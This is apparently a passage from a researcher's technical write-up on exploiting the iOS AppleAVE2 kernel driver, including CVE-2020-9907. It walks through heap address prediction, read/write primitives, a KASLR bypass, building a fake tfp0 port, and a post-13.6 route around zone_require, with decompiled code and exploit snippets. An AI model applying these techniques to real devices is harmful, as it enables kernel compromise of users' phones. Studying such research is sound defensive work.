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paveway_mem: 0xffffffe0072d1ad0 
paveway_mem: 0xffffffe007076d00 
paveway_mem: 0xffffffe006cfc6c0 
paveway_mem: 0xffffffe007aca550 
paveway_mem: 0xffffffe007aca1f0 
paveway_mem: 0xffffffe007ac9710 
paveway_mem: 0xffffffe007ac9bc0 
paveway_mem: 0xffffffe007ac9c80 
paveway_mem: 0xffffffe007ac9470 
paveway_mem: 0xffffffe007ac8f30 
paveway_mem: 0xffffffe007acb480 
paveway_mem: 0xffffffe007ac8f60 
paveway_mem: 0xffffffe007ac8f90 
paveway_mem: 0xffffffe007acb450 
...

paveway_mem: 0xffffffe0072d1ad0 
paveway_mem: 0xffffffe007076d00 
paveway_mem: 0xffffffe006cfc6c0 
paveway_mem: 0xffffffe007aca550 
paveway_mem: 0xffffffe007aca1f0 
paveway_mem: 0xffffffe007ac9710 
paveway_mem: 0xffffffe007ac9bc0 
paveway_mem: 0xffffffe007ac9c80 
paveway_mem: 0xffffffe007ac9470 
paveway_mem: 0xffffffe007ac8f30 // Saved as trap_mems[0] 
paveway_mem: 0xffffffe007acb480 
paveway_mem: 0xffffffe007ac8f60 
paveway_mem: 0xffffffe007ac8f90 
paveway_mem: 0xffffffe007acb450 // Saved as trap_mems[2] 
...



Then allocate another piece of 40 bytes-long memory as trap_mems[1], for 
auxiliary observation. 

Now release the all trap_mem(s), and immediately follow by allocating an 
OSData instance, the OSData instance may fall into one of these trap_mem(s).  

Fortunately we can predict if that will happen by using following strategies: 

Perform following loop action until the cycle is repeated to the tenth time, 
then immediately allocate our second OSData instance: 

- Step(1) Allocate a 40 bytes-long memory in kernel, adding its leaked 
address to an array "criticle_records" 
- Step(2) Release the 40 bytes-long memory we just allocated. 
- Step(3) Back to Step(1) 

By then we should have ten addresses saved in the array criticle_records. 
Let's examine these addresses to determine which OSData instance has fallen 
into a known address.  
The exact address of trap_mem(s) will be different from above as they are 
from different cases in real life. 

Pattern(1) 

Logic in code: 
  If (trap_mems[2] == critical_records[2] && trap_mems[2] == 
criticle_records[8]) 

trap_mems[2] appears repeatedly after every two addresses, in this case, we 
can deduce that the second OSData instance has occupied the address of 
trap_mems[2]. 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trap_mems: 
 0: 0xffffffe007ac8f30 
 1: 0xffffffe007a1f210 
 2: 0xffffffe007acb450

trap_mems: 
 0: 0xffffffe007a1d0b0 
 1: 0xffffffe007a1f210 
 2: 0xffffffe007a1f240      <- Same 

critical_records: 
      0: 0xffffffe007a1d0b0 
      1: 0xffffffe007a1d2f0 
      2: 0xffffffe007a1f240 <- Same 
      3: 0xffffffe007a1d0b0 
      4: 0xffffffe007a1d2f0 
      5: 0xffffffe007a1f240 <- Same 
      6: 0xffffffe007a1d0b0 
      7: 0xffffffe007a1d2f0 
      8: 0xffffffe007a1f240 <- Same 
      9: 0xffffffe007a1d0b0 



Pattern(2) 

Logic in code: 
  If (criticle_records[0] == criticle_records[2]) 

A new address that's other than trap_mems appears repeatedly, in this case, 
we can deduce that the first OSData instance has occupied the address of 
trap_mems[0]. 

These two recognition patterns work greatly across different iOS devices and 
versions. If none of them were found, back to the step of collecting 
trap_mems, repeat the entire process until a pattern is successfully 
recognized. All used addresses can be recycled by release_kernel_40_mem() 
gadget afterwards. 

So now we have an OSData instance with a known kernel address, and we can 
read the content pointed to it by its data pointer through IOSurface 
property. Next step is to overwrite the data pointer in the OSData instance, 
from the help of another gadget. 

The gadget that can be used to overwrite the data pointer in the OSData 
instance: 
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trap_mems: 
 0: 0xffffffe001ac1da0 
 1: 0xffffffe006db1020 
 2: 0xffffffe006db1230 

critical_records:  
      0: 0xffffffe006d7cd80 <- Same 
      1: 0xffffffe006db1230 
      2: 0xffffffe006d7cd80 <- Same 
      3: 0xffffffe006db1230 
      4: 0xffffffe006d7cd80 <- Same 
      5: 0xffffffe006db1230 
      6: 0xffffffe006d7cd80 <- Same 
      7: 0xffffffe007642730 
      8: 0xffffffe006d7cd80 <- Same 
      9: 0xffffffe007642730

OSData instance in hexdump form : 

0000: 28 fa e8 23 70 d0 cd f7 | 01 00 01 00 30 00 00 00 
0010: 30 00 00 00 30 00 00 00 | 40 94 89 17 e0 ff ff ff <— The data pointer 
0020: 00 00 00 00 00 00 00 00      



Take advantage of mapping_fromUser again, overwrites (mapping_fromUser + 
5936) to point to (OSData instance + 0x18) before 
AppleAVE2Driver::MapYUVInputFromCSID is called, then later the newly created 
iosurfaceinfo_buf will rewrite the data pointer in OSData instance, which 
will allow us to read the content of iosurfaceinfo_buf and leak useful 
pointer such as: 

Unfortunately, the iosurfaceinfo_buf created in 
AppleAVE2Driver::MapYUVInputFromCSID does not enable the mapping through 
IOSurface, the value of its internal member mapped_kernelAddress is empty, we 
must take additional action to leak mapping_fromUser. 

Now we have leaked the address of the AppleAVE2Driver instance and the 
address of the IOSurface object, these two addresses should remain the same 
in all iosurfaceinfo_buf creations, as long as the same IOSurface ID is 
provided. 
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AppleAVE2Driver::SetSessionSettings(this, client_this, input_num, input_buf) 
{ 
    ... 
    v55 = AppleAVE2Driver::MapYUVInputFromCSID( 
                      this, 
                      clientbuf, 
                      mapping_fromUser, 
                      *(_QWORD *)(mapping_fromUser + 5936), // controlled_ptr 
                      0, 
                      "inputYUV", 
                      (uint8_t)clientbuf->inputmap_InitInfo_block4[121], 
                      v50 != 0); 
    ... 
} 
------- 
AppleAVE2Driver::MapYUVInputFromCSID(this, clientbuf, mapping_fromUser, 
controlled_ptr, ...) 
{ 
    ... 
    iosurfaceinfo_buf = operator new(112); 
    init_new_iosurfaceinfo_buf(iosurfaceinfo_buf, ...) 
    *(uint64_t*)controlled_ptr = iosurfaceinfo_buf; <- Where overwriting occur 
    CreateBufferFromIOSurface(iosurfaceinfo_buf, ...) 
    ... 
}

struct iosurfaceinfo_buf (Trimmed) 
{ 
    AppleAVE2Driver *avedriver; 
    uint32_t mapped_size; 
    IOSurface *related_iosurface; 
    IOMemoryDescriptor *mapping_desc; 
    uint64_t mapped_kernelAddress; <- The "mapping_fromUser" ptr, our leak target 
}



Next, remove the current clientbuf through external method 
AppleAVE2UserClient::sRemoveClient. This action will also release the 
previously created iosurfaceinfo_buf, but remember we still able to read that 
memory through OSData. So we repeatedly add, encode, and remove clientbuf(s), 
because only during first time encoding a clientbuf that just been added, one 
of the iosurfaceinfo_buf triggers kernel to create the mapping memory from 
IOSurface. Meanwhile, constantly monitor the contents of this memory through 
OSData, When data at the same offset matches the previously saved address of 
AppleAVE2Driver instance and IOSurface object, read out the value at the 
offset of its internal member mapped_kernelAddress. 

Repeatedly perform the above actions until successfully leak the address of 
mapping_fromUser. In the exploit this address is referred as magic_addr, 
because this made possible to exploit many amazing race conditions, and it 
completely eradicate the need of memory spray. 

Obtaining magical_addr immediately helped us to get a grip on CVE-2020-9907, 
this vulnerability grants us a temporary way of reading/writing arbitrary 
kernel memory, the principle of CVE-2020-9907 based can be found in here: 
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AppleAVE2Driver::MapYUVInputFromCSID(this, clientbuf, mapping_fromUser, 
controlled_ptr, ...) 
{ 
    ... 
    iosurfaceinfo_buf = operator new(112); 
    init_new_iosurfaceinfo_buf(iosurfaceinfo_buf, ...) 
    *(uint64_t*) controlled_ptr = iosurfaceinfo_buf; 
    CreateBufferFromIOSurface(iosurfaceinfo_buf, ...) 
    ... 

    v30 = *(uint64_t*)controlled_ptr; 
    if ( *(_DWORD*)v45 ) 
    { 
      if ( a10 ) 
        *(_QWORD *)(mapping_fromUser + 56) = *(_QWORD *)(v30 + 88); // R 
      else 
        *(_QWORD *)(v30 + 88) = *(_QWORD *)(mapping_fromUser + 56); // W 
    } 

    *(_OWORD *)(controlled_ptr + 8) = *(_OWORD *)(v30 + 56); 
    v31 = *(_QWORD *)(v30 + 80); 
    *(_QWORD *)(controlled_ptr + 24) = v31; 
    if ( v31 >> 32 ) 
    { 
      printf("AVE ERROR: MapYUVInputFromCSID mem->pGartAddress > 32 bits\n"); 

      if ( *(_QWORD *)controlled_ptr ) 
        UnMapYUVInputFromCSID(this, clientbuf, controlled_ptr, 0); // Could lead to 
panic 
      return 0xE00002BD; 
    } 
    *(_DWORD *)(controlled_ptr + 32) = *(_DWORD *)(v30 + 24); 
    *(_BYTE *)(v30 + 30) = controlled_byte2; 
     
    if ( ! controlled_byte ) 
      return 0; 
    ... 
}



If we point controlled_ptr back to mapping_fromUser, we can observe data 
changes from the userspace. Use the timing of changes as check points for 
race-condition, and since v45 and a10 variables are under our control, we can 
set its value like a switch to choose to read or write kernel memory, both 
source and destination pointer are under our control. 
The kernel read and write function leverages CVE-2020-9907 are implemented as 
those functions in the exploit: 
  - uint64_t temp_kernel_reading(uint64_t target_addr) 
  - void temp_kernel_writing(uint64_t target_addr, uint64_t write_data) 

They are being labeled as "temporary" because unlike stable kernel r/w those 
functions have some limits when using them. 
  1. They don't work every time, the race-condition may fail and still give 
us a valid kernel pointer, so because of that double check is needed to 
ensure that the data we got was correct, we have to call the function 
multiple times until the same result appears twice. 
  2. They do affect the surrounding memory and vice versa, so we can only use 
them while every effects can take into consideration. 

Every time CVE-2020-9907 is used to read memry it has side effects on the 
memory around it. The side effects can be seen in the following picture. 

So because of those side effects it is important to be able to determine 
layout around the address we want to read from. 

For this reason, we can not read vtable pointer out of the leaked instances, 
since they are in the first row of the heap, and the data in the addresses 
before it, is not predictable. 

This primitive is great for the short run but not for the long run (because 
the side effects mentioned above) so we will introduce another more stable 
memory read primitive.  

By taking advantage of the m_DPB member (which we assume is under our 
control) in the clientbuf, we can point it to mapping_fromUser. Afterwards 
m_DPB will be used by the function DPBBuffer::GetDPBSnapShot, which will get 
called shortly after invocation of AppleAVE2Driver::MapYUVInputFromCSID. 
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Here is the relevant snippets from the code (note that all the highlighted 
variables are under our control). 

As we can see H264IOSurfaceBuf::GetSurfaceID reads from its argument and 
returns the result. DPBBuffer::GetDPBSnapShot calls that function with v8 
which is actually m_DPB + offset and write the result back into 
part_of_mapping_fromUser (which we can read from). 

These functions are completely safe because they assume (as they should) that 
the user can't control where m_DPB points to but what if we can? If we can 
point m_DPB to where ever we want we can get a pretty good kernel memory read 
primitive without the side effects from the previous primitive and luckily 
for us we can use CVE-2020-9907 for exactly that and here is how.  

Firstly we will leverage CVE-2020-9907 to leak the current_clientbuf from the 
already leaked AppleAVE2Driver instance () and then we will use CVE-2020-9907 
once again to point m_DPB to mapping_FromUser so we can easily r/w the memory 
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AppleAVE2Driver::SetSessionSettings 
{ 
    ... 
    v55 = AppleAVE2Driver::MapYUVInputFromCSID... 
    ... 
    v56 = mach_absolute_time(); 
    absolutetime_to_nanoseconds(v56, &v89); 
    *(_QWORD *)(mapping_fromUser + 1104) = v89;  // The insertion of timestamp 
information greatly help us to win the race condition    
    ... 
    if(v55) 
    { 
 ... 
        m_DPB = clientbuf->m_DPB; // if we can control over m_DPB 
        if(v58) 
        { 
            DPBBuffer::GetDPBSnapShot(m_DPB, mapping_fromUser + 176, *(uint32_t*)
(mapping_fromUser + 20)); 
        } 
        ... 
    } 
    ... 
}

DPBBuffer::GetDPBSnapShot(m_DPB, part_of_the_mapping_fromUser, input_num) 
{ 
    ... 
    v8 = m_DPB + 96LL * *(unsigned int *)(m_DPB + 2364) + 728; 
    ... 
    *(_DWORD *)part_of_the_mapping_fromUser = H264IOSurfaceBuf::GetSurfaceID(**(_QWORD **)(v8 + 
72)); // Note(1) 
    ... 
}

H264IOSurfaceBuf::GetSurfaceID(__int64 a1) 
{ 
    v3 = *(_QWORD *)(a1 + 32); 
    if ( v3 ) 
        return *(unsigned int *)(v3 + 12); 
}



pointed to by m_DPB and with that we achieved an absolutely stable kernel 
read memory primitive. 

So now we have an arbitrary memory reading primitive with no limitation 
applied, each time could read 32 bits-long data from a specified address, I 
simply name it temp_kernel_reading2 in the exploit code. Next step is to use 
it to read the vtable of the leaked IOSurface instance, calculate the offset 
of the kernel, KASLR defeated. 

With slide, we can then calculate the exact location of some kernel global 
variables, such as _allproc -- a global variable that holds all the proc 
structure as a linked list, use temp_kernel_reading2 to find find our own 
proc structure, and then our task structure.  

As part of the task structure design, there are a bunch of members that if we 
insert a pointer that points to a custom port structure, we can access it 
from userland via a certain api. 

I picked itk_registered, any port structure that placed here can be access 
through mach_ports_lookup in userland, and its surrounding memory meets the 
prerequisite to use temp_kernel_writing. 
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temp_kernel_reading2 could get us all the pointer required for building a 
fake tfp0 port structure, such as ipc_space_kernel and kernel_map, we need 
them in order to manipulate kernel virtual memory space. 

Now, pick a place in mapping_fromUser, construct a fake port structure and 
task structure, link them together. 

Therefore, we now possess the tfp0 port, the most universal arbitrary kernel 
memory reading/writing primitives. In the next section, I will introduce the 
kernel vulnerabilities used after iOS 13.6. 
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struct task { 
    ... 
    /* IPC structures */ 
    decl_lck_mtx_data(,itk_lock_data) 
    struct ipc_port *itk_self; 
    struct ipc_port *itk_nself; 
    struct ipc_port *itk_sself; 
    struct exception_action exc_actions[EXC_TYPES_COUNT]; 
          
    struct ipc_port *itk_host;  
    struct ipc_port *itk_bootstrap;  
    struct ipc_port *itk_seatbelt;  
    struct ipc_port *itk_gssd;  
    struct ipc_port *itk_debug_control;  
    struct ipc_port *itk_task_access;  
    struct ipc_port *itk_resume;  
    struct ipc_port *itk_registered[TASK_PORT_REGISTER_MAX]; 
    ... 
}



The Third Kernel Vulnerability CVE-????-???? (iOS 13.6 - iOS 
13.7) 

Apple released a system update for iOS 13.6 on 15 July 2020, the security 
vulnerabilities fixed include the CVE-2020-9907 used in the previous section. 
Userland Sandbox-Escape remains unfixed, we continue to rely on it to access 
AppleAVE. 

First let us take a look at how Apple tried to fix the vulnerability, 
following is the pre-patch code, and highlighted parts are the codes removed 
by Apple. 

Apple removed the weak code previously used to implement temp_kernel_reading/
temp_kernel_writing. the three gadgets that can manipulate 40 bytes-long 
memory still working. user-kernel mapping still there and we are still able 
to leak its address, apparently they did not solve the essential cause yet, 
race-able memory still been used in some dangerous way (as explained in the 
previous section). 

The trickiest part of the iOS 13.6 update is that Apple improved zone_require 
mitigation by fixing a flaw, that has been relied on in order to bypass this 
mitigation.  
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AppleAVE2Driver::MapYUVInputFromCSID(this, clientbuf, mapping_fromUser, controlled_ptr, ...) 
{   // pre-patch 
    ... 
    iosurfaceinfo_buf = operator new(112); 
    init_new_iosurfaceinfo_buf(iosurfaceinfo_buf, ...) 
    *(uint64_t*) controlled_ptr = iosurfaceinfo_buf; 
    CreateBufferFromIOSurface(iosurfaceinfo_buf, ...) 
    ... 

    v30 = *(uint64_t*)controlled_ptr; 
    if ( *(_DWORD*)v45 ) 
    { 
      if ( a10 )  // a10 is also under our control 
        *(_QWORD *)(mapping_fromUser + 56) = *(_QWORD *)(v30 + 88); 
      else 
        *(_QWORD *)(v30 + 88) = *(_QWORD *)(mapping_fromUser + 56); 
    } 

    *(_OWORD *)(controlled_ptr + 8) = *(_OWORD *)(v30 + 56); 
    v31 = *(_QWORD *)(v30 + 80); 
    *(_QWORD *)(controlled_ptr + 24) = v31; 
    if ( v31 >> 32 ) 
    { 
      printf("AVE ERROR: MapYUVInputFromCSID mem->pGartAddress > 32 bits\n"); 

      if ( *(_QWORD *) controlled_ptr ) 
        UnMapYUVInputFromCSID(this, clientbuf, (struct MEMORY_INFO *) controlled_ptr, 0); 
      return 0xE00002BD; 
    } 
    *(_DWORD *)(controlled_ptr + 32) = *(_DWORD *)(v30 + 24); 
    *(_BYTE *)(v30 + 30) = controlled_byte2; 
     
    if ( ! controlled_byte ) 
      return 0; 
    ... 
} 



The description of zone_require from Brandon Azad, Project Zero: 

This mitigation does apply to port and task structure, which is the critical 
part of building a fake tfp0 port. If the port structure has been found out 
located in another zone, zone_require will trigger kernel panic and prevent 
any further exploitation. 

Following is the disassembled code of zone_require check before 13.6. 

Observing it carefully, you can find that as long as the obj_in_zone is 
outside the zone_map, the attacker can control v4, and then it can control 
the value of v5, which directly affects the inspection result. 

After 13.6, if zone_require detects that the obj_in_zone is outside of 
zone_map, it will trigger the following panic call, blocks the attacker from 
using the same method to bypass: 
  panic("Address not in a zone map for zone_require check (addr: %p)", ...); 

Thus, the port and task structure used by tfp0 must reside in the correct 
zone. Attackers often put them into sprayed memory, and now it doesn't work 
anymore. We are no longer able to put them in the mapping_fromUser as we did 
before 13.6. 

This is a significant improvement in iOS security history, It forces 
attackers to find a new way to read/write kernel memory without many 
restrictions before possibly craft tfp0 again. 
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void zone_require(obj_in_zone, zone_it_should_be_at) 
{ // pre-13.6 
  __int64 v2; // x29 
  __int64 v3; // x30 
  unsigned __int64 v4; // x9 
  __int64 v5; // x8 

  if ( zone_map_min_address > obj_in_zone || obj_in_zone + 7 >= zone_map_max_address ) 
    v4 = obj_in_zone & 0xFFFFFFFFFFFFC000; // A flaw that allows attacker to control v4 
  else 
    v4 = zone_metadata_region_min + 24 * (((obj_in_zone & 0xFFFFFFFFFFFFC000) - 
zone_map_min_address) >> 14); 

  v5 = *(_WORD *)(v4 + 22) & 0x3FF; // v5 is the zone index the obj_in_zone found out to be 
located at 
  if ( (_DWORD)v5 == 1023 ) 
    v5 = *(_WORD *)(v4 - *(unsigned int *)(v4 + 16) + 22) & 0x3FF; 

  if ( ((char *)&qword_FFFFFFF0091A7341[41 * (unsigned int)v5] + 7) != zone_it_should_be_at ) 
    panic("Address not in expected zone for zone_require check (addr: %p, zone: %s)", ...) 
}



The exploit-flow that was working before iOS 13.6, so far some parts are been 
destroyed. 

Let us inspect the AppleAVE2Driver::MapYUVInputFromCSID to see if there are 
other opportunities. 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AppleAVE2Driver::MapYUVInputFromCSID(this, clientbuf, mapping_fromUser, controlled_ptr, ...) 
{   // post-patch  
    ... 
    iosurfaceinfo_buf = operator new(112); 
    init_new_iosurfaceinfo_buf(iosurfaceinfo_buf, ...) 
    *(uint64_t*) controlled_ptr = iosurfaceinfo_buf; 
    CreateBufferFromIOSurface(iosurfaceinfo_buf, ...) 
    ... 
    v30 = *(uint64_t*)controlled_ptr; 
    ... 
    *(_OWORD *)(controlled_ptr + 8) = *(_OWORD *)(v30 + 56); // (a)(b)(c)(d) 
    v31 = *(_QWORD *)(v30 + 80); 
    *(_QWORD *)(controlled_ptr + 24) = v31; 
    if ( v31 >> 32 ) 
    { 
      printf("AVE ERROR: MapYUVInputFromCSID mem->pGartAddress > 32 bits\n"); 

      if ( *(_QWORD *) controlled_ptr ) 
        UnMapYUVInputFromCSID(this, clientbuf, (struct MEMORY_INFO *) controlled_ptr, 0); 
      return 0xE00002BD; 
    } 
    *(_DWORD *)(controlled_ptr + 32) = *(_DWORD *)(v30 + 24); // (e)  
    *(_BYTE *)(v30 + 30) = 0; // (f) Could use for zeroing 1 byte at a specified address 
     
    if ( ! controlled_byte ) 
      return 0; 
    ... 
}



There are still several places that allow us to craft kernel read primitive, 
However, it seems the only one left for writing is (f)Zeroing 1 byte at 
specified address, this flaw surprisingly turns out to be sufficient to 
exploit AppleAVE2 again. 

(a)(b)(c)(d)(e) all could use for reading 32 bits-long kernel memory, with 
slightly different limitations. 

Place following figures into the sentence: Place target address at ??, data 
at ?? must not greater than 32 bits, one byte at ?? will get zeroed, read 
data will be store at ??. 
  (a): at +56, at +24, at -26, at  +8 
  (b): at +60, at +20, at -30, at +12 
  (c): at +64, at +16, at -34, at +16 
  (d): at +68, at +12, at -38, at +20 
  (e): at +24, at +56, at  +6, at +32 

(e) is the only one with all positive numbers, which means we could use it to 
read something like vtable pointer out of the first row of a heap because 
unpredictable content before the heap won't affect it. 

Only (c) and (e) were used during the exploitation, and (c) is being used as 
to leak current clientbuf from AppleAVE2Driver instance. Since 
current_clientbuf is in the middle of the instance, we could use 
empty_kernel_40_mem to clear any obstacles that prevent us from reading, as 
best as we could to avoid deleting other data and pointers that are part of 
the AppleAVE2Driver instance, with these considerations in mind, (c) provides 
the most appropriate offsets. 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We break down each step in the exploit flow. The first and second steps are 
exactly the same as explained as part of the CVE-2020-9907 exploitation. Let 
us go straight from step 3, explaining why we need to leak multiple 
clientbuf(s). 

The clientbuf structure itself is quite big, and the size has increased 
slightly since iOS 13, size of exactly 0x29B98 bytes allocated through 
IOMalloc. For a heap memory of this size, its address in the kernel is always 
aligned to the page size 0x4000, so the block size allocated each time will 
be rounded to 0x2C000. Also when you allocate multiple memory of such size 
consecutively, It is easy to see that the newly allocated memory happens to 
be right next to the previous block. 

As mentioned before, we can create more clientbuf(s) through 
AppleAVE2UserClient::sAddClient, the current_clientbuf in AppleAVE2Driver 
instance always points to the most recently added one,  
every clientbuf has a prev_clientbuf member which holds a pointer to the 
previous clientbuf. 

After every new clientbuf is added, we leak its address through 
AppleAVE2Driver until we accumulate five of them, and then this begins to 
reveal a means of exploitation. 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What if we clear the lowest 2 bytes of current_clientbuf pointer in 
AppleAVE2Driver? Since the lowest byte is always 0, so in fact, only one byte 
will happen to be changed. 

current_clientbuf will be redirected to the somewhere in the middle of 
another clientbuf! 

Each clientbuf caches a pointer of AppleAVE2UserClient instance, and 
AppleAVE2Driver::SetSession will check whether the pointer equals the 
AppleAVE2UserClient instance that been passed, If it is not equal, it will 
read its prev_clientbuf members as the next clientbuf and repeat this process 
until it finds one.  

This adds an extra offset to our redirection. I examined all possible results 
and found that all except 0x0000 will be redirected to memory that its 
content is under our control, it means that we can control the prev_clientbuf 
pointer, and if we can manage to leak the address of AppleAVE2UserClient 
instance and let the check pass,  we can dominate the entire clientbuf that 
is about to go through AppleAVE2Driver::SetSessionSettings. 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Most of the data in the middle of the clientbuf structure is copied from 
mapping_fromUser, according to the clientbuf structure information obtained 
through reverse engineering. 

If lowest 2 bytes are: 
  1. 0x0000, continue to allocate more clientbuf(s).  
  2. 0x4000, prev_clientbuf will point to clientbuf +0x25b60, fall into range 
of inputmap_InitInfo_block12, at offset +0x498C, we can set its value from 
userland at mapping_fromUser +147228. 
  3. 0x8000, prev_clientbuf will point to clientbuf +0x21B60, fall into range 
of inputmap_InitInfo_block12, at offset +0x98C, we can set its value from 
userland at mapping_fromUser +130844. 
  4. 0xc000, prev_clientbuf will point to clientbuf +0x1DB60, fall into range 
of inputmap_InitInfo_block11, at offset +0x1AF0, we can set its value from 
userland at mapping_fromUser +114460. 

We will use empty_kernel_40_mem() to clear the lowest 2 bytes of 
current_clientbuf pointer in AppleAVE2Driver. 

iOS runs the ARMs in little-endian mode, stores the least-significant byte at 
lower address, so in the exploit code, it would be like: 
    empty_kernel_40_mem(kObject_AppleAVE2Driver + 0x400 - 38); 

And it is not difficult to leak the address of AppleAVE2 User Client 
instance, by using kernel read (e) method: 
  uint64_t kObj_AppleAVE2UserClient = kernel_read_categ5(kObj_clientbuf); 
  kObj_AppleAVE2UserClient |= 0xffffffe000000000; 

It is worth noting that the kernel read (e) method will destroy higher bits 
of the pointer after reading, so be sure to prepare a needless clientbuf to 
read, such as the earliest one. Later we can still restore the pointer and 
release the clientbuf normally. 

Now, we redirected pre_clientbuf to mapping_fromUser, mapping_fromUser is big 
enough to cover the entire clientbuf.  

The next step is to constitute kernel r/w primitive, which we have quite a 
lot of resources to explore.  

For reading, we can reuse the technique introduced earlier, the m_DPB member. 
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AppleAVE2Driver[0x3d0]: 0x0 
AppleAVE2Driver[0x3d4]: 0x0 
AppleAVE2Driver[0x3d8]: 0x0 
AppleAVE2Driver[0x3dc]: 0x0       // These areas are empty by default 
AppleAVE2Driver[0x3e0]: 0x0 
AppleAVE2Driver[0x3e4]: 0x0 
AppleAVE2Driver[0x3e8]: 0x0 
AppleAVE2Driver[0x3ec]: 0x0 
AppleAVE2Driver[0x3f0]: 0x0 
AppleAVE2Driver[0x3f4]: 0x0 
AppleAVE2Driver[0x3f8]: 0x0 
AppleAVE2Driver[0x3fc]: 0x0 
AppleAVE2Driver[0x400]: 0x3e698000 // ->current_clientbuf 
AppleAVE2Driver[0x404]: 0xffffffe0



For writing, I found this: 

All variables highlighted in yellow are under our control, through 
UniqueClientID member of clientbuf, 32bits-long memory can be written every 
time.  

This writing primitive isn't perfect, as the description is given above. A 32 
bits number away from the target writing address at a certain offset must be 
larger than 5. A workaround is to use reading primitive checks every time. If 
it's smaller than 5, change it and after writing is done, change it back. 

After obtaining the privilege of reading and writing kernel memory, it marks 
the end of kernel vulnerability development.  

The subsequent stage is usually called "post-exploitation" the goal is 
establishing an environment for run unauthorized programs on the device 
without restrictions. 
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AppleAVE2Driver::SetSessionSettings 
{    
    v13 = clientbuf->KernelFrameQueue; 
    FrameInfo = get_mapped_kernelAddress_from_KernelFrameQueue(v13, ...); 
    ...  
    if( !clientbuf->unk_flag ) 
    { 
        *(_DWORD *)(FrameInfo + 5948) = clientbuf->UniqueClientID; 

        InfoType = *(unsigned int *)(FrameInfo + 16); 
        if( (InfoType - 0x4567) > 5 ) // This condition must be true to get bail out 
in time 
        { 
            printf("AVE ERROR: FrameInfo->InfoType not recognized (%p)\n", 
InfoType); 
            return 0xE00002BC; 
        } 
        // Must get bail out before entering the switch statement 
        switch ( InfoType ) 
        { 
            ... 
        } 
        ... 
    } 
    ... 
}

uint64_t get_mapped_kernelAddress_from_KernelFrameQueue(KernelFrameQueue) 
{ 
    if ( KernelFrameQueue ) 
    { 
        v2 = KernelFrameQueue->m_BaseAddress; 
        if ( v2 ) 
            return v2 + ...; // Eventually is v2 + 0 
    } 
    ... 
}
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